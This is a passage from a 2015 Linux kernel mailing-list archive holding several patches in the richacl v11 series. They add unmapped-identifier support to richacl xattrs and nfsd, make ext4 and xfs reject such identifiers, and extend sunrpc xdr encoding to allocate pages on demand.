(richace_is_same_identifier(acl, ace, who)) return richace_change_mask(alloc, &ace, ace->e_mask | deny); } else if (richace_is_allow(ace) && diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c index b88a2f1..2f50389 100644 --- a/fs/richacl_inode.c +++ b/fs/richacl_inode.c @@ -161,8 +161,10 @@ richacl_permission(struct inode *inode, const struct richacl *acl, } else if (richace_is_unix_group(ace)) { if (!in_group_p(ace->e_id.gid)) continue; - } else + } else if (richace_is_everyone(ace)) goto entry_matches_everyone; + else + continue; /* * Apply the group file mask to entries other than owner@ and diff --git a/fs/richacl_xattr.c b/fs/richacl_xattr.c index dc529dc..7ae5348 100644 --- a/fs/richacl_xattr.c +++ b/fs/richacl_xattr.c @@ -35,7 +35,8 @@ richacl_from_xattr(struct user_namespace *user_ns, const struct richace_xattr *xattr_ace = (void *)(xattr_acl + 1); struct richacl *acl; struct richace *ace; - int count; + unsigned int count, offset; + char *unmapped; if (size < sizeof(*xattr_acl) || xattr_acl->a_version != RICHACL_XATTR_VERSION || @@ -45,10 +46,11 @@ richacl_from_xattr(struct user_namespace *user_ns, count = le16_to_cpu(xattr_acl->a_count); if (count > RICHACL_XATTR_MAX_COUNT) return ERR_PTR(-EINVAL); - if (size != count * sizeof(*xattr_ace)) + if (size < count * sizeof(*xattr_ace)) return ERR_PTR(-EINVAL); + size -= count * sizeof(*xattr_ace); - acl = richacl_alloc(count, GFP_NOFS); + acl = __richacl_alloc(count, size, GFP_NOFS); if (!acl) return ERR_PTR(-ENOMEM); @@ -63,6 +65,16 @@ richacl_from_xattr(struct user_namespace *user_ns, if (acl->a_other_mask & ~RICHACE_VALID_MASK) goto fail_einval; + unmapped = (char *)(acl->a_entries + count); + if (size) { + char *xattr_unmapped = (char *)(xattr_ace + count); + + if (xattr_unmapped[size - 1] != 0) + goto fail_einval; + memcpy(unmapped, xattr_unmapped, size); + } + offset = 0; + richacl_for_each_entry(ace, acl) { ace->e_type = le16_to_cpu(xattr_ace->e_type); ace->e_flags = le16_to_cpu(xattr_ace->e_flags); @@ -74,6 +86,15 @@ richacl_from_xattr(struct user_namespace *user_ns, ace->e_id.special = le32_to_cpu(xattr_ace->e_id); if (ace->e_id.special > RICHACE_EVERYONE_SPECIAL_ID) goto fail_einval; + } else if (ace->e_flags & RICHACE_UNMAPPED_WHO) { + size_t sz; + + if (offset == size) + goto fail_einval; + ace->e_id.offs = offset; + sz = strlen(unmapped) + 1; + unmapped += sz; + offset += sz; } else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { u32 id = le32_to_cpu(xattr_ace->e_id); @@ -90,10 +111,12 @@ richacl_from_xattr(struct user_namespace *user_ns, if (ace->e_type > RICHACE_ACCESS_DENIED_ACE_TYPE || (ace->e_mask & ~RICHACE_VALID_MASK)) goto fail_einval; - xattr_ace++; } + if (offset != size) + goto fail_einval; + return acl; fail_einval: @@ -109,8 +132,15 @@ size_t richacl_xattr_size(const struct richacl *acl) { size_t size = sizeof(struct richacl_xattr); + const struct richace *ace; size += sizeof(struct richace_xattr) * acl->a_count; + richacl_for_each_entry(ace, acl) { + const char *unmapped = richace_unmapped_identifier(ace, acl); + + if (unmapped) + size += strlen(unmapped) + 1; + } return size; } EXPORT_SYMBOL_GPL(richacl_xattr_size); @@ -129,6 +159,7 @@ richacl_to_xattr(struct user_namespace *user_ns, struct richace_xattr *xattr_ace; const struct richace *ace; size_t real_size; + char *xattr_unmapped; real_size = richacl_xattr_size(acl); if (!buffer) @@ -145,18 +176,33 @@ richacl_to_xattr(struct user_namespace *user_ns, xattr_acl->a_other_mask = cpu_to_le32(acl->a_other_mask); xattr_ace = (void *)(xattr_acl + 1); + xattr_unmapped = (char *)(xattr_ace + acl->a_count); richacl_for_each_entry(ace, acl) { + const char *who; + xattr_ace->e_type = cpu_to_le16(ace->e_type); xattr_ace->e_flags = cpu_to_le16(ace->e_flags); xattr_ace->e_mask = cpu_to_le32(ace->e_mask); if (ace->e_flags & RICHACE_SPECIAL_WHO) xattr_ace->e_id = cpu_to_le32(ace->e_id.special); - else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) - xattr_ace->e_id = - cpu_to_le32(from_kgid(user_ns, ace->e_id.gid)); - else - xattr_ace->e_id = - cpu_to_le32(from_kuid(user_ns, ace->e_id.uid)); + else { + who = richace_unmapped_identifier(ace, acl); + if (who) { + size_t sz = strlen(who) + 1; + + xattr_ace->e_id = 0; + memcpy(xattr_unmapped, who, sz); + xattr_unmapped += sz; + } else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { + u32 id = from_kgid(user_ns, ace->e_id.gid); + + xattr_ace->e_id = cpu_to_le32(id); + } else { + u32 id = from_kuid(user_ns, ace->e_id.uid); + + xattr_ace->e_id = cpu_to_le32(id); + } + } xattr_ace++; } return real_size; @@ -262,7 +308,8 @@ static void richacl_fix_xattr_userns( return; count = size / sizeof(*xattr_ace); for (; count; count--, xattr_ace++) { - if (xattr_ace->e_flags & cpu_to_le16(RICHACE_SPECIAL_WHO)) + if (xattr_ace->e_flags & cpu_to_le16(RICHACE_SPECIAL_WHO | + RICHACE_UNMAPPED_WHO)) continue; if (xattr_ace->e_flags & cpu_to_le16(RICHACE_IDENTIFIER_GROUP)) { diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 6d2e5bd..a9751a7 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -27,6 +27,7 @@ struct richace { kuid_t uid; kgid_t gid; unsigned int special; + unsigned short offs; /* unmapped offset */ } e_id; }; @@ -37,6 +38,7 @@ struct richacl { unsigned int a_other_mask; unsigned short a_count; unsigned short a_flags; + unsigned short a_unmapped_size; struct richace a_entries[0]; }; @@ -54,6 +56,7 @@ struct richacl { RICHACE_INHERIT_ONLY_ACE | \ RICHACE_IDENTIFIER_GROUP | \ RICHACE_INHERITED_ACE | \ + RICHACE_UNMAPPED_WHO | \ RICHACE_SPECIAL_WHO) #define RICHACE_INHERITANCE_FLAGS ( \ @@ -224,14 +227,28 @@ richace_is_deny(const struct richace *ace) * richace_is_same_identifier - are both identifiers the same? */ static inline bool -richace_is_same_identifier(const struct richace *a, const struct richace *b) +richace_is_same_identifier(const struct richacl *acl, + const struct richace *ace1, + const struct richace *ace2) { - return !((a->e_flags ^ b->e_flags) & - (RICHACE_SPECIAL_WHO | RICHACE_IDENTIFIER_GROUP)) && - !memcmp(&a->e_id, &b->e_id, sizeof(a->e_id)); + const char *unmapped = (char *)(acl->a_entries + acl->a_count); + + return !((ace1->e_flags ^ ace2->e_flags) & + (RICHACE_SPECIAL_WHO | + RICHACE_IDENTIFIER_GROUP | + RICHACE_UNMAPPED_WHO)) && + ((ace1->e_flags & RICHACE_UNMAPPED_WHO) ? + !strcmp(unmapped + ace1->e_id.offs, + unmapped + ace2->e_id.offs) : + !memcmp(&ace1->e_id, &ace2->e_id, sizeof(ace1->e_id))); +} + +extern struct richacl *__richacl_alloc(unsigned int, size_t, gfp_t); +static inline struct richacl *richacl_alloc(unsigned int count, gfp_t gfp) +{ + return __richacl_alloc(count, 0, gfp); } -extern struct richacl *richacl_alloc(int, gfp_t); extern struct richacl *richacl_clone(const struct richacl *, gfp_t); extern void richace_copy(struct richace *, const struct richace *); extern int richacl_masks_to_mode(const struct richacl *); @@ -241,6 +258,11 @@ extern void richacl_compute_max_masks(struct richacl *); extern struct richacl *__richacl_chmod(struct richacl *, umode_t); extern int richacl_equiv_mode(const struct richacl *, umode_t *); extern struct richacl *richacl_inherit(const struct richacl *, int); +extern int richacl_add_unmapped_identifier(struct richacl **, struct richace **, + const char *, unsigned int, gfp_t); +extern const char *richace_unmapped_identifier(const struct richace *, + const struct richacl *); +extern bool richacl_has_unmapped_identifiers(struct richacl *); /* richacl_inode.c */ extern int richacl_permission(struct inode *, const struct richacl *, int); -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:22:54 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BAFDE7FC8 for ; Fri, 16 Oct 2015 10:22:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A37D4304053 for ; Fri, 16 Oct 2015 08:22:54 -0700 (PDT) X-ASG-Debug-ID: 1445008973-04cb6c3cec3a150001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id AJ5085ypCZkaXomk (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:22:53 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 1FEB1A58A5; Fri, 16 Oct 2015 15:22:53 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcM011947; Fri, 16 Oct 2015 11:22:47 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 39/48] nfsd: Add support for unmapped richace identifiers Date: Fri, 16 Oct 2015 17:18:17 +0200 X-ASG-Orig-Subj: [PATCH v11 39/48] nfsd: Add support for unmapped richace identifiers Message-Id: <1445008706-15115-40-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008973 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add support for encoding unmapped identifiers in richacl entries: local filesystems are not usually supposed to store unmapped identifiers, but allowing that for debugging purposes can be useful; for that, nfsd must also be able to encode them. Signed-off-by: Andreas Gruenbacher --- fs/nfsd/acl.h | 2 +- fs/nfsd/nfs4acl.c | 17 +++++++++++------ fs/nfsd/nfs4xdr.c | 4 ++-- 3 files changed, 14 insertions(+), 9 deletions(-) diff --git a/fs/nfsd/acl.h b/fs/nfsd/acl.h index d73c664..4935144 100644 --- a/fs/nfsd/acl.h +++ b/fs/nfsd/acl.h @@ -51,7 +51,7 @@ struct svc_rqst; __be32 nfsd4_decode_ace_who(struct richace *ace, struct svc_rqst *rqstp, char *who, u32 len); __be32 nfsd4_encode_ace_who(struct xdr_stream *xdr, struct svc_rqst *rqstp, - struct richace *ace); + struct richace *ace, struct richacl *acl); struct richacl *nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry); __be32 nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, diff --git a/fs/nfsd/nfs4acl.c b/fs/nfsd/nfs4acl.c index f017a76..3cc83fd 100644 --- a/fs/nfsd/nfs4acl.c +++ b/fs/nfsd/nfs4acl.c @@ -885,17 +885,22 @@ __be32 nfsd4_decode_ace_who(struct richace *ace, struct svc_rqst *rqstp, } __be32 nfsd4_encode_ace_who(struct xdr_stream *xdr, struct svc_rqst *rqstp, - struct richace *ace) + struct richace *ace, struct richacl *acl) { - if (ace->e_flags & RICHACE_SPECIAL_WHO) { - unsigned int special_id = ace->e_id.special; + if (ace->e_flags & (RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO)) { const char *who; unsigned int len; __be32 *p; - if (!nfs4acl_special_id_to_who(special_id, &who, &len)) { - WARN_ON_ONCE(1); - return nfserr_serverfault; + if (ace->e_flags & RICHACE_SPECIAL_WHO) { + if (!nfs4acl_special_id_to_who(ace->e_id.special, + &who, &len)) { + WARN_ON_ONCE(1); + return nfserr_serverfault; + } + } else { + who = richace_unmapped_identifier(ace, acl); + len = strlen(who); } p = xdr_reserve_space(xdr, len + 4); if (!p) diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c index 33d028c..8728d0e 100644 --- a/fs/nfsd/nfs4xdr.c +++ b/fs/nfsd/nfs4xdr.c @@ -2325,7 +2325,7 @@ static __be32 nfsd4_encode_acl_entries(struct xdr_stream *xdr, { __be32 *p; - flags_mask &= ~RICHACE_SPECIAL_WHO; + flags_mask &= ~(RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO); p = xdr_reserve_space(xdr, 4); if (!p) @@ -2347,7 +2347,7 @@ static __be32 nfsd4_encode_acl_entries(struct xdr_stream *xdr, *p++ = cpu_to_be32(ace->e_type); *p++ = cpu_to_be32(ace->e_flags & flags_mask); *p++ = cpu_to_be32(ace->e_mask & ace_mask); - status = nfsd4_encode_ace_who(xdr, rqstp, ace); + status = nfsd4_encode_ace_who(xdr, rqstp, ace, acl); if (status) return status; } -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:23:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 00A09800F for ; Fri, 16 Oct 2015 10:23:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C6009304062 for ; Fri, 16 Oct 2015 08:23:00 -0700 (PDT) X-ASG-Debug-ID: 1445008979-04bdf06db172cf0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Yo8oZdlFKbLDx4VW (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:23:00 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id A773F8EA37; Fri, 16 Oct 2015 15:22:59 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcN011947; Fri, 16 Oct 2015 11:22:53 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 40/48] ext4: Don't allow unmapped identifiers in richacls Date: Fri, 16 Oct 2015 17:18:18 +0200 X-ASG-Orig-Subj: [PATCH v11 40/48] ext4: Don't allow unmapped identifiers in richacls Message-Id: <1445008706-15115-41-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008979 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Don't allow acls which contain unmapped identifiers: they are meaningful for remote file systems only. Signed-off-by: Andreas Gruenbacher --- fs/ext4/richacl.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/fs/ext4/richacl.c b/fs/ext4/richacl.c index 906d048..2115385 100644 --- a/fs/ext4/richacl.c +++ b/fs/ext4/richacl.c @@ -74,6 +74,10 @@ __ext4_set_richacl(handle_t *handle, struct inode *inode, struct richacl *acl) int retval, size; void *value; + /* Don't allow acls with unmapped identifiers. */ + if (richacl_has_unmapped_identifiers(acl)) + return -EINVAL; + if (richacl_equiv_mode(acl, &mode) == 0) { inode->i_ctime = ext4_current_time(inode); inode->i_mode = mode; -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:23:07 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B518C7FD6 for ; Fri, 16 Oct 2015 10:23:07 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A54D8304053 for ; Fri, 16 Oct 2015 08:23:07 -0700 (PDT) X-ASG-Debug-ID: 1445008986-04cbb035ac439d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ofAnUO6LXzyRuAZF (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:23:06 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 49B7091E9A; Fri, 16 Oct 2015 15:23:06 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcO011947; Fri, 16 Oct 2015 11:23:00 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 41/48] xfs: Don't allow unmapped identifiers in richacls Date: Fri, 16 Oct 2015 17:18:19 +0200 X-ASG-Orig-Subj: [PATCH v11 41/48] xfs: Don't allow unmapped identifiers in richacls Message-Id: <1445008706-15115-42-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008986 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Don't allow acls which contain unmapped identifiers: they are meaningful for remote file systems only. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_richacl.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/fs/xfs/xfs_richacl.c b/fs/xfs/xfs_richacl.c index 73c2d24..4f938b7 100644 --- a/fs/xfs/xfs_richacl.c +++ b/fs/xfs/xfs_richacl.c @@ -77,6 +77,10 @@ xfs_set_richacl(struct inode *inode, struct richacl *acl) if (!acl) return xfs_remove_richacl(inode); + /* Don't allow acls with unmapped identifiers. */ + if (richacl_has_unmapped_identifiers(acl)) + return -EINVAL; + if (richacl_equiv_mode(acl, &mode) == 0) { xfs_set_mode(inode, mode); return xfs_remove_richacl(inode); -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:23:15 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E9A3F7FF9 for ; Fri, 16 Oct 2015 10:23:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 769E5AC003 for ; Fri, 16 Oct 2015 08:23:14 -0700 (PDT) X-ASG-Debug-ID: 1445008993-04cb6c3ced3a170001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id rLktUEHkqttLiyn9 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:23:13 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id D4EEC19F216; Fri, 16 Oct 2015 15:23:12 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcP011947; Fri, 16 Oct 2015 11:23:06 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 42/48] sunrpc: Allow to demand-allocate pages to encode into Date: Fri, 16 Oct 2015 17:18:20 +0200 X-ASG-Orig-Subj: [PATCH v11 42/48] sunrpc: Allow to demand-allocate pages to encode into Message-Id: <1445008706-15115-43-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008993 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When encoding large, variable-length objects such as acls into xdr_bufs, it is easier to allocate buffer pages on demand rather than precomputing the required buffer size. Signed-off-by: Andreas Gruenbacher --- net/sunrpc/xdr.c | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/net/sunrpc/xdr.c b/net/sunrpc/xdr.c index 4439ac4..63c1c36 100644 --- a/net/sunrpc/xdr.c +++ b/net/sunrpc/xdr.c @@ -537,6 +537,15 @@ static __be32 *xdr_get_next_encode_buffer(struct xdr_stream *xdr, */ xdr->scratch.iov_base = xdr->p; xdr->scratch.iov_len = frag1bytes; + + if (!*xdr->page_ptr) { + struct page *page = alloc_page(GFP_NOFS); + + if (!page) + return NULL; + *xdr->page_ptr = page; + } + p = page_address(*xdr->page_ptr); /* * Note this is where the next encode will start after we've -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:23:21 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 143937FF9 for ; Fri, 16 Oct 2015 10:23:21 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D273C8F8066 for ; Fri, 16 Oct 2015 08:23:20 -0700 (PDT) X-ASG-Debug-ID: 1445008999-04bdf06db372d20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id uK0B1BAo4Ztjhpom (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:23:19 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 74932A0B89; Fri, 16 Oct 2015 15:23:19 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcQ011947; Fri, 16 Oct 2015 11:23:13 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 43/48] sunrpc: Add xdr_init_encode_pages Date: Fri, 16 Oct 2015 17:18:21 +0200 X-ASG-Orig-Subj: [PATCH v11 43/48] sunrpc: Add xdr_init_encode_pages Message-Id: <1445008706-15115-44-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008999 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Initialize xdr_stream and xdr_buf from a pages array, for encoding into the pages. Signed-off-by: Andreas Gruenbacher --- include/linux/sunrpc/xdr.h | 2 ++ net/sunrpc/xdr.c | 25 +++++++++++++++++++++++++ 2 files changed, 27 insertions(+) diff --git a/include/linux/sunrpc/xdr.h b/include/linux/sunrpc/xdr.h index 70c6b92..2c99cff 100644 --- a/include/linux/sunrpc/xdr.h +++ b/include/linux/sunrpc/xdr.h @@ -214,6 +214,8 @@ typedef void (*kxdreproc_t)(void *rqstp, struct xdr_stream *xdr, void *obj); typedef int (*kxdrdproc_t)(void *rqstp, struct xdr_stream *xdr, void *obj); extern void xdr_init_encode(struct xdr_stream *xdr, struct xdr_buf *buf, __be32 *p); +extern void xdr_init_encode_pages(struct xdr_stream *xdr, struct xdr_buf *buf, + struct page **pages, unsigned int len); extern __be32 *xdr_reserve_space(struct xdr_stream *xdr, size_t nbytes); extern void xdr_commit_encode(struct xdr_stream *xdr); extern void xdr_truncate_encode(struct xdr_stream *xdr, size_t len); diff --git a/net/sunrpc/xdr.c b/net/sunrpc/xdr.c index 63c1c36..f97b96b 100644 --- a/net/sunrpc/xdr.c +++ b/net/sunrpc/xdr.c @@ -483,6 +483,31 @@ void xdr_init_encode(struct xdr_stream *xdr, struct xdr_buf *buf, __be32 *p) EXPORT_SYMBOL_GPL(xdr_init_encode); /** + * xdr_init_encode_pages - Initialize struct xdr_stream for encoding into pages + * @xdr: pointer to xdr_stream struct + * @buf: pointer to XDR buffer in which to encode data + * @pages: pages array in which to encode + * @len: maximum length of @buf + * + * Initialize @xdr and @buf for encoding into the @pages array. If a + * page in @pages is NULL, it will be allocated on demand. + */ +void xdr_init_encode_pages(struct xdr_stream *xdr, struct xdr_buf *buf, + struct page **pages, unsigned int len) +{ + memset(buf, 0, sizeof(*buf)); + buf->pages = pages; + buf->page_len = len; + buf->buflen = len; + + memset(xdr, 0, sizeof(*xdr)); + xdr->buf = buf; + xdr->iov = buf->head; + xdr->page_ptr = pages - 1; +} +EXPORT_SYMBOL_GPL(xdr_init_encode_pages); + +/** * xdr_commit_encode - Ensure all data is written to buffer 